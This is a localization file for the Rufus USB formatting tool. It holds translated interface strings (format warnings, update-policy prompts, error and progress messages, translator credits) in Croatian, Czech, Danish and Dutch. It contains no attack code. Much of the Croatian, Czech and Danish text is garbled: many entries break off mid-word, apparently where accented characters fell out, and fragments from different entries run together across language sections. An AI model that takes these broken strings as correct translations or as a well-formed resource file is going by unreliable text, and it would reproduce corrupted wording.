t MSG_280 "Odabir datoteke"

t MSG_281 "(Molim odaberite datoteku)"

t MSG_282 "Ekskluzivno zaklju

t MSG_283 "Neva

t MSG_284 "Preuzeta aplikacija ne sadr

t MSG_285 "Preuzeta aplikacija je potpisana od strane

t IDC_WINDOWS_INSTALL "Standartn

instalace Windows"

t IDC_WINDOWS_TO_GO "P

Windows"

t IDC_WEBSITE "Klepnut

ejdete na webov

t MSG_001 "Zji

t MSG_002 "Program Rufus je ji

t MSG_003 "VAROV

M DISKU %s. BUDOU VYMAZ

to operaci, klikn

t MSG_004 "Nastaven

t MSG_005 "Chcete povolit online kontrolu aktualizac

t MSG_006 "Zav

t MSG_007 "Zru

t MSG_008 "Ano"

t MSG_010 "Byly nalezeny chybn

t MSG_011 "Kontrola dokon

: %d \n"

: %d\n po

pisu: %d\n po

: %d\n"

t MSG_012 "%s\nPodrobn

vu najdete tady:\n%s"

t MSG_013 "Zak

t MSG_014 "Denn

t MSG_015 "T

t MSG_016 "M

t MSG_017 "Vlastn

t MSG_018 "Va

e verze: %d.%d (Build %d)"

t MSG_019 "Posledn

verze: %d.%d (Build %d)"

t MSG_026 "bajt

t MSG_027 "kilobajt

t MSG_028 "megabajt

t MSG_029 "V

t MSG_030 "%s (V

t MSG_031 "%s sch

lu pro BIOS nebo %s"

t MSG_032 "%s sch

t MSG_033 "%s sch

t MSG_034 "%d pokus"

t MSG_035 "%d pokusy"

t MSG_036 "Obraz ISO"

t MSG_037 "Aplikace"

t MSG_038 "P

t MSG_039 "Spustit"

t MSG_040 "St

t MSG_041 "Operace byla p

t MSG_042 "Chyba"

t MSG_043 "Chyba: %s"

t MSG_044 "Sta

t MSG_045 "Pam

t MSG_047 "V

t MSG_048 "Rufus - Vyprazd

t MSG_049 "Rufus - Ukon

t MSG_050 "Hotovo."

t MSG_051 "Nezn

t MSG_052 "Zvolen

t MSG_053 "P

t MSG_054 "Za

t MSG_055 "Za

t MSG_056 "Rychl

t MSG_057 "N

t MSG_058 "Identifik

t MSG_059 "Zvolen

t MSG_060 "Velikost svazku je neplatn

t MSG_061 "Vlo

t MSG_062 "Obdr

t MSG_063 "Chyba p

t MSG_064 "Chyba

t MSG_065 "Chyba z

t MSG_066 "Instalace selhala"

t MSG_067 "Nen

t MSG_068 "Chyba p

t MSG_069 "Kop

t MSG_070 "Zru

t MSG_071 "Nelze spustit vl

t MSG_072 "Kontrola chybn

t MSG_073 "Anal

t MSG_074 "Rozbalovan

t MSG_075 "Nen

t MSG_076 "Nen

t MSG_077 "Nen

t MSG_078 "Nen

t MSG_079 "Za

t MSG_080 "Program Rufus zjistil,

e Windows st

to operace m

ujeme nechat Windows dokon

t MSG_081 "Nepodporovan

t MSG_082 "Tento obr

t MSG_083 "Nahradit %s?"

t MSG_084 "Zd

zastaralou verzi '%s'.\n"

soubor %s bude sta

t MSG_085 "Stahuji: %s"

t MSG_086 "Nebyl zvolen

t MSG_087 "Klikn

t MSG_088 "Obraz disku je p

t MSG_089 "Obraz disku je p

t MSG_090 "Nepodporovan

t MSG_091 "P

t MSG_092 "Nepodporovan

t MSG_093 "D

pro Windows. "

t MSG_094 "Bylo zji

t MSG_095 "Obraz DD"

t MSG_096 "Souborov

t MSG_097 "'%s' lze pou

t MSG_098 "D

Windows', ale v

mu Windows bude s nejv

t MSG_099 "Omezen

t MSG_100 "Tento ISO obraz obsahuje soubor v

t MSG_101 "Chyb

t MSG_102 "V

Windows 7 a Windows Vista spustiteln

t MSG_103 "St

hnout %s?"

t MSG_104 "%s nebo vy

aduje instalaci souboru %s.\n"

%s ISO obrazech, "

s:\n"

mka: Soubor %s bude sta

t MSG_105 "Po zru

t MSG_106 "Pros

t MSG_107 "V

t MSG_108 "Z

t MSG_110 "MS-DOS nelze spustit z disku pou

t MSG_111 "Nekompatibiln

t MSG_112 "Form

%d:d, ukazatel pr

hu operace je b

t MSG_113 "Velk

t MSG_114 "Tento obraz pou

Syslinux %s%s, tato aplikace v

"Syslinux %s%s.\n\nJeliko

"(ldlinux.sys a ldlinux.bss):\n"

operace\n\n"

t MSG_115 "Nutn

t MSG_116 "Tento obraz pou

Grub %s ale aplikace obsahuje pouze instala

"Grub %s.\n\nVzhledem k r

"instalace souboru ('core.img') kter

t MSG_150 "Obvykle nejbezpe

t MSG_151 "Pou

stup k obsahu USB disku z Windows XP"

t MSG_152 "Preferovan

t MSG_153 "Zku

vzorek: 0xX"

t MSG_154 "Zku

vzorek: 0xX, 0xX"

t MSG_155 "Zku

vzorek: 0xX, 0xX, 0xX"

t MSG_156 "Zku

vzorek: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Nastav

t MSG_158 "Minim

t MSG_159 "Pokud chcete nastavit jmenovku svazku, vypl

t MSG_160 "P

t MSG_161 "Zkontrolovat za

t MSG_162 "Odstran

t MSG_163 "Ozna

t MSG_164 "Vyberte metodu, kter

t MSG_165 "Klikn

t MSG_166 "Ozna

m souboru autorun.inf)"

t MSG_167 "Instalovat MBR, kter

t MSG_168 "Pokusit se o zamaskov

pouze pokud chcete instalovat Windows XP a m

t MSG_169 "Vytvo

t MSG_170 "Povol

t MSG_171 "Klepnut

t MSG_172 "Informace o licenci, aktualizaci a z

t MSG_173 "Kliknut

t MSG_174 "Rufus - Spolehliv

t MSG_175 "Verze %d.%d (Build %d)"

Richard Kahl <mailto:richard.kahl@seznam.cz>"

t MSG_177 "Nahl

t MSG_178 "Dal

t MSG_179 "Z

t MSG_180 "Pokud povol

t MSG_181 "Architektura va

eho opera

t MSG_182 "Pou

t MSG_184 "Pro

t MSG_185 "Aktualiza

t MSG_186 "Rufus neinstaluje ani nespou

t MSG_187 "Neplatn

t MSG_188 "Aktu

t MSG_189 "Tento ISO obraz nen

t MSG_190 "Rozpozn

t MSG_191 "Zapsat pr

t MSG_192 "P

t MSG_193 "Sta

eno %s"

t MSG_194 "Nelze st

hnout %s"

t MSG_195 "Pomoc

verze %s soubor(s)"

t MSG_196 "D

%d-byte one. "

t MSG_197 "Zji

t MSG_198 "'P

Windows' lze nainstalovat pouze na GPT odd

t MSG_199 "Vyberte tuto mo

nost, pokud chcete instalovat Windows, na jin

t MSG_200 "Tuto mo

nost vyberte, pokud chcete spustit Windows p

t MSG_201 "Ukon

uje se operace -

t MSG_202 "Anal

t MSG_203 "Anal

t MSG_204 "Zji

modul: %s"

t MSG_205 "Pou

obraz: %s"

t MSG_206 "Chyb

soubor: %s"

t MSG_207 "Nov

t MSG_208 "Bylo nalezeno %d za

t MSG_209 "Bylo nalezeno %d za

t MSG_210 "P

t MSG_211 "Zru

t MSG_212 "NEZDA

t MSG_213 "Spu

t MSG_214 "Spu

t MSG_215 "Otev

t MSG_216 "Ulo

t MSG_217 "Form

t MSG_218 "Vytv

loha %d/%d dokon

t MSG_219 "Oprava NTFS: %d%% dokon

t MSG_220 "Form

(%s) - zb

as: %d:d"

t MSG_221 "Nastaven

t MSG_222 "Form

t MSG_223 "Oprava NTFS (Kontrola disku)..."

t MSG_224 "Odstra

t MSG_225 "Po

t MSG_226 "Analyzov

t MSG_227 "Uzav

t MSG_228 "Zapisov

t MSG_229 "Zapisov

t MSG_230 "Kop

t MSG_231 "Kop

t MSG_232 "Nastaven

t MSG_233 "Dokon

t MSG_234 "Instaluje se Syslinux %s..."

t MSG_235 "Chybn

bloky: %s %d/%d - %0.2f%% (%d/%d/%d Chyby)"

t MSG_236 "Chybn

t MSG_237 "Chybn

se vzorkem 0xX"

t MSG_238 "Vytv

t MSG_239 "Odstra

t MSG_240 "Stahov

%s - Prob

t MSG_241 "Stahov

t MSG_242 "Sta

t MSG_243 "Kontrola aktualizac

t MSG_244 "Aktualizace: Chyba p

t MSG_245 "Aktualizace:

t MSG_246 "Je dostupn

t MSG_247 "Nebyla nalezena nov

t MSG_248 "Kl

t MSG_249 "Odstran

t MSG_250 "%s: povoleno"

t MSG_251 "%s: zak

t MSG_252 "Kontrola velikosti"

t MSG_253 "Detekce HDD"

t MSG_254 "Vynutit form

t MSG_255 "NoDriveTypeAutorun bude p

t MSG_256 "Zji

t MSG_257 "Joliet podpora"

t MSG_258 "Rock Ridge podpora"

t MSG_259 "Vynutit aktualizaci"

t MSG_260 "NTFS komprese"

t MSG_261 "Z

t MSG_262 "ISO podpora"

t MSG_263 "Pou

t MSG_264 "Odstran

t MSG_265 "VMWare detekce disk"

t MSG_266 "Dvoj

t MSG_267 "Pou

Windows obrazu: %0.1f%% komplet"

t MSG_268 "Pou

Windows obrazu..."

t MSG_269 "Zachovat

t MSG_270 "USB lad

t MSG_271 "V

t MSG_272 "Vypo

t MSG_273 "Zm

t MSG_274 "ISOHybridn

t MSG_275 "Obr

"%s (kop

imu %s (obraz disku) re

%s re

ete zkusit zapsat tento obraz znovu %s re

t MSG_276 "Re

pisu %s (Doporu

t MSG_277 "Re

pisu %s"

t MSG_278 "Typ boot"

t MSG_279 "Nen

t MSG_280 "Volba obrazu"

t MSG_281 "(Pros

t MSG_282 "Uzam

t MSG_283 "Neplatn

t MSG_284 "Sch

t MSG_285 "Sta

n '%s'.\nTento nen

t IDC_WINDOWS_INSTALL "Standard Windows-installation"

t IDC_WINDOWS_TO_GO "Windows To Go (din PC p

m IDC_NBPASSES  25,0

t IDC_WEBSITE "Klik her for at g

t MSG_001 "Anden instans opdaget"

t MSG_002 "En anden Rufus applikation k

t MSG_003 "ADVARSEL: AL DATA P

'%s' VIL FORSVINDE.\n\n"

t MSG_004 "Rufus opdateringspolitik"

t MSG_005 "Giver du tilladelse til at Rufus s

t MSG_006 "Luk"

t MSG_007 "Annuller"

t MSG_008 "Ja"

t MSG_009 "Nej"

t MSG_010 "Fejlbeh

t MSG_011 "Kontrol f

rdig: %d fejlbeh

" %d l

sefejl\n %d skrivefejl\n %d korruptionsfejl\n"

t MSG_012 "%s\nEn mere detaljeret rapport kan findes i:\n%s"

t MSG_013 "Deaktiveret"

t MSG_014 "Dagligt"

t MSG_015 "Ugentligt"

t MSG_017 "Tilpasset"

t MSG_018 "Din version: %d.%d (Build %d)"

t MSG_019 "Seneste version: %d.%d (Build %d)"

t MSG_029 "standard"

t MSG_030 "%s (standard)"

t MSG_031 "%s partition for BIOS eller %s"

t MSG_032 "%s partition for BIOS"

t MSG_033 "%s partition for UEFI"

t MSG_034 "%d genneml

t MSG_035 "%d genneml

t MSG_036 "ISO-image"

t MSG_037 "Applikation"

t MSG_038 "Annuller"

t MSG_039 "K

t MSG_041 "Operation afbrudt af brugeren"

t MSG_042 "Fejl"

t MSG_043 "Fejl: %s"

t MSG_044 "Filhentning"

t MSG_045 "USB-lagerenhed (generisk)"

t MSG_047 "Flere partitioner"

t MSG_048 "Rufus - t

t MSG_049 "Rufus - annullerer"

t MSG_050 "Succes."

t MSG_051 "Ukendt fejl under formatering."

t MSG_052 "Kan ikke benytte det valgte filsystem for dette medie."

t MSG_053 "Adgang til enheden blev n

t MSG_054 "Mediet er skrivebeskyttet."

t MSG_055 "Enheden er i brug af en anden proces. "

t MSG_056 "Ekspresformatering er ikke tilg

t MSG_057 "Volume-etiketten er ugyldig."

t MSG_058 "Enhedshandle er ugyldig."

t MSG_059 "Den valgte klyngest

t MSG_060 "Den valgte volumest

t MSG_061 "Inds

t MSG_062 "En ikke underst

t MSG_063 "Fejl ved allokering af hukommelse."

t MSG_064 "L

t MSG_065 "Skrivefejl."

t MSG_066 "Installationsfejl."

t MSG_067 "Kan ikke

t MSG_068 "Fejl ved partitionering af drev."

t MSG_069 "Kunne ikke kopiere filer til destinationsdrevet."

t MSG_070 "Afbrudt af bruger."

t MSG_071 "Ikke i stand til at starte tr

t MSG_073 "Fejl ved scanning af ISO-image."

t MSG_074 "Fejl ved udpakning af ISO-image."

t MSG_075 "Kan ikke genmontere volumen."

t MSG_076 "Kan ikke installere boot-filer."

t MSG_077 "Kan ikke tildele drevbogstav."

t MSG_078 "Kan ikke montere GUID-volumen."

t MSG_079 "Enheden er ikke parat."

t MSG_080 "Rufus har opdaget, at Windows stadig t

din USB-enhed, kan denne operation tage lang tid at gennemf

r for store filer.\n\nVi anbefaler, at du lader Windows blive f

t MSG_081 "ISO-filen er ikke underst

t MSG_082 "Denne version af Rufus underst

t MSG_083 "Erstat %s?"

t MSG_084 "Dette ISO-image lader til at bruge en for

ldet version af '%s'.\n"

rk: '%s' bliver gemt i den nuv

t MSG_085 "Downloader %s"

t MSG_086 "Ingen image-fil er valgt"

t MSG_087 "Klik venligst p

t MSG_088 "Image-filen er for stor"

t MSG_089 "Diskbilledet er for stort til den valgte destination."

t MSG_090 "ISO-filen er ikke underst

t MSG_091 "N

t MSG_092 "Filsystemet er ikke underst

t MSG_093 "VIGTIGT: DETTE DREV INDEHOLDER FLERE PARTITIONER!!\n\n"

"Dette kan omfatte partitioner, der er skjulte eller endda er synlige fra Windows. "

t MSG_094 "Flere partitioner blev fundet"

t MSG_095 "DD-image"

t MSG_096 "Det valgte filsystem kan ikke bruges med denne ISO-fil. "

t MSG_097 "'%s' kan kun bruges med filsystemet NTFS."

t MSG_098 "VIGTIGT: Du er ved at installere 'Windows To Go', men installationsdrevet er ikke "

grund af dette vil Windows muligvis 'fryse' under opstart, "

"da Microsoft ikke har designet Windows til at virke med 'Flytbare' diske "

t MSG_099 "Filsystem begr

t MSG_100 "Dette ISO-image indeholder en fil der er st

t MSG_101 "Manglende WIM-underst

t MSG_102 "Din platform kan ikke udpakke filer fra et WIM-arkiv. Udpakning af WIM-filer "

vet for at oprette en EFI Windows 7 og Windows Vista USB boot-disk. Du kan l

t MSG_103 "Hent %s?"

t MSG_104 "%s eller senere kr

ver at en '%s'-fil bliver installeret.\n"

rre end 100 KB, og altid er i %s ISO-filer, "

t MSG_105 "Annullering kan efterlade enheden i en ubrugelig tilstand.\n"

t MSG_106 "V

t MSG_107 "Alle filer"

t MSG_110 "MS-DOS kan ikke boote fra et drev der bruger 64 kilobyte klyngest

t MSG_111 "Inkompatibel klyngest

t MSG_112 "Formatering af en stor UDF volume kan tage lang tid. Ved USB 2.0-hastigheder, er den ansl

"formatering %d:d, hvorunder statuslinjen forekommer frosset. V

t MSG_113 "Stort UDF volume"

t MSG_114 "Dette image benytter Syslinux %s%s men denne applikation indeholder kun installationsfilerne til "

"Syslinux %s%s.\n\nDa nye versioner af Syslinux ikke er kompatible med hinanden, og det desuden ikke "

"internettet ('ldlinux.sys' og 'ldlinux.bss'):\n"

lg 'Nej' for at annullere operationen\n\n"

t MSG_115 "Download n

t MSG_116 "Dette image bruger Grub %s, og dette program har kun installationsfiler til "

"Grub %s.\n\nDa forskellige versioner af Grub muligvis ikke er kompatible med hinanden, og det ikke "

"-installationsfilen ('core.img') der matcher versionen fra dit image:\n"

t MSG_150 "Normalt det sikreste valg. Hvis du har en UEFI-computer og vil installere "

t MSG_151 "V

"indholdet af USB'en fra Windows XP"

t MSG_152 "Den foretrukne mulighed for at installere et OS i EFI-tilstand, n

dvendig fra Windows XP"

t MSG_153 "Test m

nster: 0xX"

t MSG_154 "Test m

nster: 0xX, 0xX"

t MSG_155 "Test m

nster: 0xX, 0xX, 0xX"

t MSG_156 "Test m

nster: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "S

t MSG_158 "Mindste datam

t MSG_159 "Brug dette felt til at

t MSG_160 "Skift avancerede indstillinger"

t MSG_161 "Kontroller enheden for fejlbeh

t MSG_162 "Frav

t MSG_163 "V

t MSG_164 "Metode til at oprette en boot-disk"

t MSG_165 "Klik for at v

t MSG_166 "V

"og skabe et enheds-ikon (opretter en autorun.inf)"

t MSG_167 "Installer en MBR, der tillader boot valg og kan maskere et BIOS USB-drev ID"

t MSG_168 "Fors

dvendigt hvis du installerer Windows XP og ejer mere end

t MSG_169 "Opret en ekstra skjult partition og fors

g at tilpasse afgr

t MSG_170 "Vis liste over USB harddisk kabinetter. Brug p

t MSG_171 "Start formateringen.\nDette vil SLETTE alle data p

t MSG_172 "Licens information og anerkendelse"

t MSG_173 "Klik for at v

t MSG_174 "Rufus - Det p

t MSG_176 "Dansk overs

ttelse: Jens Hansen <mailto:zenzay@gmail.com>\\line "

"\\tab\\tab Bo Riis <mailto:supergoof@live.dk>"

t MSG_177 "Rapporter fejl eller anmod om forbedringer p

t MSG_178 "Yderligere rettigheder:"

t MSG_179 "Opdateringspolitik:"

t MSG_180 "Hvis du v

t MSG_181 "Dit operativsystems arkitektur og version"

t MSG_182 "Versionen af den applikation du bruger"

t MSG_183 "Din IP-adresse"

t MSG_184 "Med henblik p

t MSG_185 "Opdateringsproces:"

t MSG_186 "Rufus k

"Internetadgang er naturligvis p

t MSG_187 "Ugyldig image for den valgte boot mulighed"

t MSG_188 "Det nuv

t MSG_189 "Dette ISO-image er ikke kompatibelt med det valgte filsystem"

t MSG_190 "Inkompatibelt drev fundet"

t MSG_191 "Skrive test"

t MSG_192 "L

t MSG_193 "Hentet %s"

t MSG_194 "Kunne ikke hente %s"

t MSG_195 "Benytter standard version af %s fil(er)"

t MSG_196 "VIGTIGT: DETTE DREV BENYTTER IKKE STANDARD SEKTOR ST

rrelse mens dette drev benytter %d-byte sektorst

t MSG_197 "IKKE standard sektor st

t MSG_198 "'Windows To Go' kan kun installeres p

t MSG_199 "V

lg dette hvis du vil installere Windows p

t MSG_200 "V

re Windows fra dette drev."

t MSG_201 "Annullerer - vent venligst..."

t MSG_202 "Scanner image..."

t MSG_203 "Fejl opstod ved scanning af image"

t MSG_204 "For

ldet %s fundet"

t MSG_205 "ISO-image: %s"

t MSG_206 "Manglende %s fil

t MSG_207 "Ny disk"

t MSG_208 "%d enhed fundet"

t MSG_209 "%d enheder fundet"

t MSG_210 "Klar"

t MSG_211 "Afbrudt"

t MSG_212 "Fejl!"

t MSG_213 "Starter ny applikation..."

t MSG_214 "Kan ikke starte ny applikation"

bnet %s"

t MSG_216 "Gemt %s"

t MSG_217 "Formatering: %0.1f%% fuldf

t MSG_218 "Opretter filsystem: Opgave %d/%d fuldf

t MSG_219 "NTFS-fiks: %d%% fuldf

t MSG_220 "Formaterer (%s) - estimeret varighed %d:d..."

t MSG_221 "Opretter etiket (dette kan tage et stykke tid)..."

t MSG_222 "Formaterer (%s)..."

t MSG_223 "NTFS-fiks (Checkdisk)..."

t MSG_224 "Nulstiller MBR/PBR/GPT-strukturer..."

t MSG_225 "Anmoder om disktilgang..."

t MSG_226 "Analyserer eksisterende boot records..."

t MSG_227 "Lukker eksisterende volume..."

t MSG_228 "Skriver master boot record..."

t MSG_229 "Skriver partition boot record..."

t MSG_230 "Kopierer DOS-filer..."

t MSG_231 "Kopierer ISO-filer..."

t MSG_232 "Win7 EFI boot setup (dette kan tage noget tid)..."

t MSG_233 "Afslutter, vent venligst..."

t MSG_234 "Installerer Syslinux %s..."

t MSG_235 "Disktest: %s %d/%d - %0.2f%% (%d/%d/%d fejl)"

t MSG_236 "Disktest: Tester med tilf

t MSG_237 "Disktest: Tester med m

nsteret 0xX"

t MSG_238 "Partitionerer (%s)..."

t MSG_239 "Sletter partitioner..."

t MSG_240 "Henter %s: Tilslutter..."

t MSG_241 "Henter: %0.1f%%"

t MSG_242 "Kunne ikke hente fil."

t MSG_243 "S

t MSG_244 "Opdateringer: Ikke i stand til at tilslutte internettet"

t MSG_245 "Opdateringer: Ikke i stand til at tilg

t MSG_246 "En ny version af Rufus er tilg

t MSG_247 "Ingen nyere version af Rufus blev fundet"

t MSG_248 "Applikationsn

t MSG_249 "Kunne ikke slette applikationsn

t MSG_250 "%s aktiveret"

t MSG_251 "%s deaktiveret"

t MSG_252 "Tjek st

t MSG_253 "Lokal-disk detektering"

t MSG_254 "Tvunget 'large FAT32' formatering"

t MSG_255 "NoDriveTypeAutorun bliver detekteret ved exit"

t MSG_256 "Opdag falske drev"

t MSG_257 "Joliet underst

t MSG_258 "Rock Ridge underst

t MSG_259 "Tvunget opdatering"

t MSG_260 "NTFS-komprimering"

t MSG_261 "Skriver til image: %0.1f%% fuldf

t MSG_262 "ISO-underst

t MSG_263 "MiB notation"

t MSG_264 "Sletter mappen '%s'"

t MSG_265 "VMWare disk detektering"

t MSG_267 "Anvender Windows-image: %0.1f%% fuldf

t MSG_268 "Anvender Windows-image..."

t MSG_269 "Bevar tidsstempler"

t MSG_271 "Beregner imagechecksumme: %0.1f%% fuldf

t MSG_272 "Beregner MD5-, SHA1- og SHA256-checksumme for det valgte diskbillede"

t MSG_273 "Skift programsprog"

t MSG_274 "ISOHybrid-diskbillede opdaget"

t MSG_275 "Det diskbillede du har valgt er et 'ISOHybrid'-diskbillede. Det betyder at det b

"%s (filkopiering) og %s (diskbillede).\n"

"Rufus anbefaler at du skriver det som %s, s

ve at skrive diskbilledet som %s.\n\n"

t MSG_276 "Skriv som %s (Anbefalet)"

t MSG_277 "Skriv som %s"

t MSG_278 "Opstartstype"

t MSG_279 "Ikke startbar"

t MSG_280 "Diskbillede"

t MSG_281 "(V

t MSG_282 "Isoleret USB-lukning"

t MSG_283 "Ugyldig signatur"

t MSG_284 "Den hentede fil mangler en digital signatur."

t MSG_285 "Den hentede fil er signeret af '%s'.\nDet er ikke en signatur vi genkender og det kan tyde "

m IDC_NBPASSES 20,0

t IDC_WINDOWS_INSTALL "Standaard Windows installatie"

t IDC_WEBSITE "Klik hier om naar de website te gaan"

t MSG_001 "Ander programma gedetecteerd"

t MSG_002 "Een andere Rufus applicatie is geopend.\n"

t MSG_003 "WAARSCHUWING: ALLE DATA OP APPARAAT '%s' ZAL VERWIJDERD WORDEN.\n"

t MSG_004 "Rufus update beleid"

t MSG_005 "Wilt u Rufus toestaan om online te zoeken naar programma updates?"

t MSG_006 "Sluiten"

t MSG_007 "Annuleren"

t MSG_009 "Nee"

t MSG_010 "Slechte blokken gevonden"

t MSG_011 "Controle voltooid: %d slechte blok(ken) gevonden\n"

" %d leesfout(en)\n %d schrijffout(en)\n %d corruptiefout(en)\n"

t MSG_012 "%s\nEen meer gedetailleerder rapport kan worden gevonden in:\n%s"

t MSG_013 "Uitgeschakeld"

t MSG_014 "Dagelijks"

t MSG_015 "Wekelijks"

t MSG_016 "Maandelijks"

t MSG_017 "Aangepast"

t MSG_018 "Huidige versie: %d.%d (Build %d)"

t MSG_019 "Laatste versie: %d.%d (Build %d)"

t MSG_029 "Standaard"

t MSG_030 "%s (Standaard)"

t MSG_031 "%s partitie-indeling voor BIOS of %s"

t MSG_032 "%s partitie-indeling voor BIOS"

t MSG_033 "%s partitie-indeling voor UEFI"

t MSG_034 "%d Ronde"

t MSG_035 "%d Rondes"

t MSG_036 "ISO image"

t MSG_037 "Applicatie"

t MSG_038 "Afbreken"

t MSG_039 "Start"

t MSG_041 "Opdracht geannuleerd door de gebruiker"

t MSG_042 "Fout"

t MSG_043 "Fout: %s"

t MSG_044 "Bestand download"

t MSG_045 "USB Opslag Apparaat (Algemeen)"

t MSG_047 "Meerdere partities"

t MSG_048 "Rufus - Buffers aan het legen"

t MSG_049 "Rufus - Annulatie"

t MSG_050 "Succesvol."

t MSG_051 "Onbepaalde fout tijdens formatteren."

t MSG_052 "Kan geselecteerde bestandssysteem niet gebruiken voor dit medium."

t MSG_053 "Geen toegang tot het apparaat."

t MSG_054 "Medium is schrijfbeveiligd."

t MSG_055 "Het apparaat is in gebruik door een ander proces."

t MSG_056 "Snelformatteren is niet beschikbaar voor dit apparaat."

t MSG_057 "Het volumelabel is ongeldig."

t MSG_058 "De apparaat tabel is ongeldig."

t MSG_059 "De geselecteerde clustergrootte is ongeldig voor dit apparaat."

t MSG_060 "De volumegrootte is ongeldig."

t MSG_061 "Plaats een verwisselbaar medium a.u.b."

t MSG_062 "Een ongeldige opdracht was ontvangen."

t MSG_063 "Geheugentoewijzing mislukt."

t MSG_064 "Leesfout."

t MSG_065 "Schrijffout."

t MSG_066 "Installatie mislukt"

t MSG_067 "Medium kan niet geopend worden. Het is in gebruik door een ander proces. "

t MSG_068 "Fout tijdens het partitioneren van de drive."

t MSG_069 "Kan bestanden niet kopi

t MSG_070 "Geannuleerd door de gebruiker."

t MSG_071 "Thread starten is niet mogelijk."

t MSG_072 "Controle van slechte blokken niet voltooid."

t MSG_073 "ISO image controle fout."

t MSG_074 "ISO image extractie fout."

t MSG_075 "Herkoppelen van volume niet mogelijk."

t MSG_076 "Patchen/klaarmaken van bestanden voor opstarten niet mogelijk."

t MSG_077 "Niet mogelijk om een driveletter toe te wijzen."

t MSG_078 "Kan GUID volume niet koppelen."

t MSG_079 "Het apparaat is niet klaar."

t MSG_080 " Rufus heeft gedetecteerd dat Windows nog steeds bezig is om zijn interne buffers te legen naar het USB apparaat.\n\n"

"Afhankelijk van de snelheid van uw USB apparaat kan deze operatie een lange tijd duren voordat deze voltooid is.\n"

"Zeker voor grote bestanden.\n\nHet is aanbevolen om Windows de taak volledig te laten voltooien om datacorruptie te voorkomen.\n"

t MSG_081 "Niet-ondersteunde image"

t MSG_082 "Deze image is ofwel niet opstartbaar, of het gebruikt een opstart- of compressiemethode die niet ondersteund wordt door Rufus..."

t MSG_083 "%s vervangen?"

t MSG_084 "Deze ISO image lijkt een verouderde versie te gebruiken van '%s'.\n"

"'%s' bestaat, zal deze automatisch hergebruiktworden."

t MSG_085 "Bezig met downloaden van %s"

t MSG_086 "Geen image geselecteerd."

t MSG_087 "Klik a.u.b. op de CD knop om een opstartbare image te selecteren.\n"

t MSG_088 "Image is te groot"

t MSG_089 "De image is te groot voor het geselecteerde doelapparaat."

t MSG_090 "Niet-ondersteunde ISO"

t MSG_091 "Wanneer voor type computer UEFI is geselecteerd, zijn alleen EFI opstartbare ISO images ondersteund."

t MSG_092 "Niet ondersteund bestandssysteem"

t MSG_093 "BELANGRIJK: DEZE DRIVE BEVAT MEERDERE PARTITIES!!\n\n"

"Dit kunnen partities/volumes zijn die niet in de lijst voor komen of zelfs niet zichtbaar zijn voor Windows. "

t MSG_094 "Meerdere partities gedetecteerd"

t MSG_096 "Het geselecteerde bestandssysteem kan niet worden gebruikt met dit type ISO. Selecteer een ander bestandssysteem of gebruik een andere ISO."

t MSG_097 "'%s' kan alleen worden toegepast als het bestandssysteem NTFS is."

t MSG_098 "BELANGRIJK: U probeert 'Windows To Go' te installeren, maar uw doelschijf heeft "

"het "FIXED" attribuut niet. Hierdoor zal Windows hoogst waarschijnlijk vastlopen tijdens "

t MSG_099 "Beperking van bestandssysteem"

t MSG_100 "Deze ISO image bevat een bestand dat groter is dan 4 GB wat groter is dan de "

t MSG_101 "WIM ondersteuning ontbreekt."

t MSG_102 "Uw OS kan geen bestanden uitpakken van WIM archieven. WIM extractie is nodig om EFI opstartbare Windows 7 en Windows Vista USB drives te maken. U kunt dit oplossen "

t MSG_104 "%s of hoger vereist een '%s' bestand om het te kunnen installeren.\n"

"Omdat dit bestand groter is dan 100 KB en altijd aanwezig is op %s ISO images,"

"%s' al bestaat, zal deze automatisch vervangen worden."

t MSG_105 "Wanneer u annuleert kan het apparaat ONBRUIKBAAR worden.\n"

t MSG_106 "Selecteer een map a.u.b."

t MSG_107 "Alle bestanden"

t MSG_110 "MS-DOS kan niet opstarten van een apparaat met een clustergrootte van 64 kilobyte..."

t MSG_111 "Incompatibel Clustergrootte"

t MSG_112 "Het formatteren van grote UDF volumes kan een lange tijd duren..."

t MSG_113 "Grote UDF volume"

t MSG_114 "Deze image maakt gebruik van Syslinux %s%s maar de applicatie bevat alleen de installatiebestanden voor"

"Syslinux %s%s.\n\nOmdat oude en nieuwe versies van Syslinux niet compatibel zijn met elkaar, en het niet mogelijk is voor Rufus om alle versies te beheren,"

"moeten twee extra bestanden gedownload worden van het internet ('ldlinux.sys' en 'ldlinux.bss'):\n"

t MSG_115 "Download is vereist"

t MSG_116 "Deze image maakt gebruik van Grub %s maar de applicatie bevat alleen de installatiebestanden voor Grub %s.\n\n"

"Grub installatie bestand ('core.img') te zoeken dat overeenkomst met uw image:\n"

t MSG_150 "Normaal gesproken de veiligste keuze. Als u een UEFI computer hebt maar u wilt "

t MSG_151 "Gebruik deze optie als u een besturingssysteem in EFI mode wilt installeren, maar toegang nodig hebt tot\n"

"de USB inhoud van Windows XP"

t MSG_152 "Aanbevolen optie om een besturingssysteem in EFI mode te installeren en wanneer USB toegang niet nodig is voor Windows XP"

t MSG_153 "Test patroon: 0xX"

t MSG_154 "Test patroon: 0xX, 0xX"

t MSG_155 "Test patroon: 0xX, 0xX, 0xX"

t MSG_156 "Test patroon: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Selecteer hier uw type bestandssysteem"

t MSG_158 "Minimum grootte dat een datablok inneemt in het bestandssysteem"

t MSG_159 "Gebruik dit veld om de drive naam in te stellen.\nInternationale tekens worden geaccepteerd"

t MSG_160 "Wisselen naar geavanceerde opties"

t MSG_161 "Controleer het apparaat op slechte blokken tijdens een testpatroon"

t MSG_162 "Uitvinken om een \"langzamere\" formatteer methode te gebruiken"

t MSG_163 "Aanvinken om de USB drive opstartbaar te maken"

t MSG_164 "Gebruikte methode om de drive opstartbaar te maken"

t MSG_165 "Klik om een image te selecteren..."

t MSG_166 "Vink aan om internationale labels te zien en een apparaat\n"

ert een autorun.inf bestand)"

t MSG_167 "Installeert een MBR die een opstartselectie toestaat en de BIOS USB drive ID kan verbergen"

t MSG_168 "Probeert de eerste opstartbare USB drive (gewoonlijk 0x80) voor te laten doen als een andere disk.\n"

"Dit is alleen nodig als u Windows XP installeert en meer dan

t MSG_169 "Cre

t MSG_170 "Activeer de lijst met externe USB HD's.\nGEBRUIK OP EIGEN RISICO!!!"

t MSG_171 "Start het formatteren.\nDit zal alle data op de doel drive VERWIJDEREN!"

t MSG_172 "Licentie informatie en credits"

t MSG_173 "Klik om te selecteren..."

t MSG_174 "Rufus - De betrouwbare USB Formatteer Tool"

t MSG_175 "Versie %d.%d (Build %d)"

